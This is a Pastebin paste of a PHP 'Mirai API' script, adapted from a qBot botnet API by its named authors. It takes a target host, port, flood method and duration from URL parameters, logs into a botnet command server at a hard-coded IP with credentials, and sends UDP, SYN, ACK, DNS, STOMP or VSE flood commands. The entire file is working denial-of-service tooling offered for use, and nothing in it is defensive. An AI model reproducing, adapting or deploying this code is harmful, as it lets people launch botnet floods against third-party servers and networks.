xJesterino

Mirai API

Jun 15th, 2017
3,265
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.00 KB | None | 0 0
  1. <?php
  2. error_reporting(E_ALL);
  3.  
  4.  
  5.     /*
  6.  
  7.     * * * * * *
  8.    
  9.     * ORIGINAL CODER:
  10.    
  11.     * qBot/Gayfgt Botnet API by BadLuckJosh
  12.  
  13.     * Twitter: @BadLuckJoshh - @0x424C4A
  14.  
  15.     * HF UID: 2769414
  16.  
  17.     * Usage: http://site.com/api.php?key=[key]&host=[host]&port=[port]&method=[method]&time=[time]
  18.  
  19.     * * * * * *
  20.    
  21.     * MODIFIED VERSION FOR MIRAI USAGE BY Jester
  22.    
  23.     * HF UID: 2978478
  24.    
  25.     * Twitter: @xJesterino
  26.    
  27.     * Instagram: thejesterino
  28.        
  29.     * * * * * *
  30.  
  31.     * KEEP THE "\r\n" ON THE END OF USERNAME/PASSWORD AND COMMANDS!
  32.    
  33.     * * * * * *
  34.  
  35.     */
  36.  
  37.  
  38.  
  39.     // API Keys
  40.  
  41.     $APIKeys = array("EnterYourKeysHere", "AddMoreLikeThis");
  42.  
  43.  
  44.  
  45.     // VALID attack methods
  46.  
  47.     $attackMethods = array("RAWUDP", "ACK", "STOMP", "DNS", "VSE", "SYN");
  48.  
  49.  
  50.  
  51.     // I'm so gay
  52.  
  53.     function htmlsc($string)
  54.  
  55.     {
  56.  
  57.         return htmlspecialchars($string, ENT_QUOTES, "UTF-8");
  58.  
  59.     }
  60.  
  61.  
  62.  
  63.     // Check if all parameters are passed
  64.  
  65.     if (!isset($_GET["key"]) || !isset($_GET["host"]) || !isset($_GET["port"]) || !isset($_GET["method"]) || !isset($_GET["time"]))
  66.  
  67.         die("You are missing a parameter");
  68.  
  69.  
  70.  
  71.     // Variables for attack
  72.  
  73.     $key = htmlsc($_GET["key"]);
  74.  
  75.     $host = htmlsc($_GET["host"]);
  76.  
  77.     $port = htmlsc($_GET["port"]);
  78.  
  79.     $method = htmlsc(strtoupper($_GET["method"]));
  80.  
  81.     $time = htmlsc($_GET["time"]);
  82.  
  83.     $command = "";
  84.  
  85.  
  86.  
  87.     // Check if API key is valid
  88.  
  89.     if (!in_array($key, $APIKeys)) die("Invalid API key");
  90.  
  91.  
  92.  
  93.     // Check if attack method is valid
  94.  
  95.     if (!in_array($method, $attackMethods)) die("Invalid attack method");
  96.  
  97.  
  98.  
  99.     // Set command for method (should really use a switch() statement but who cares?)
  100.  
  101.     if ($method == "RAWUDP") $command = "udpplain $host $time len=65500 rand=1 dport=$port\r\n";
  102.  
  103.     else if ($method == "DNS") $command = "dns $host $time dport=$port domain=$host\r\n";
  104.    
  105.     else if ($method == "SYN") $command = "syn $host $time dport=$port\r\n";
  106.  
  107.     else if ($method == "ACK") $command = "ack $host $time dport=$port\r\n";
  108.    
  109.     else if ($method == "STOMP") $command = "stomp $host $time dport=$port\r\n";
  110.    
  111.     else if ($method == "VSE") $command = "vse $host $time dport=$port\r\n";
  112.  
  113.     // Add other methods if you need them, I'm sure you're capable of doing that (I hope)
  114.  
  115.  
  116.  
  117.     // Connect
  118.  
  119.     $socket = fsockopen("163.172.191.95", "23"); // Example: $socket = fsockopen("1.2.3.4", "23");
  120.  
  121.     ($socket ? null : die("Failed to connect"));
  122.  
  123.  
  124.  
  125.     // Login
  126.  
  127.     fwrite($socket, " \r\n"); // Leave This.
  128.    
  129.     sleep(3);
  130.    
  131.     fwrite($socket, "13\r\n"); // Username
  132.    
  133.     sleep(3);
  134.    
  135.     fwrite($socket, "root\r\n"); // Password
  136.  
  137.  
  138.  
  139.     // Send command
  140.  
  141.     sleep(9); // Why? I've noticed for some people it doesn't work w/o the sleep() (or anything before fwrite()ing $command)!
  142.  
  143.     fwrite($socket, $command);
  144.  
  145.  
  146.  
  147.     // Close connection
  148.  
  149.     fclose($socket);
  150.  
  151.     // Say the attack has been sent
  152.  
  153.     echo "Attack sent to $host:$port for $time seconds using method $method!\n";
  154.  
  155.    
  156. ?>
Advertisement
Add Comment
Please, Sign In to add comment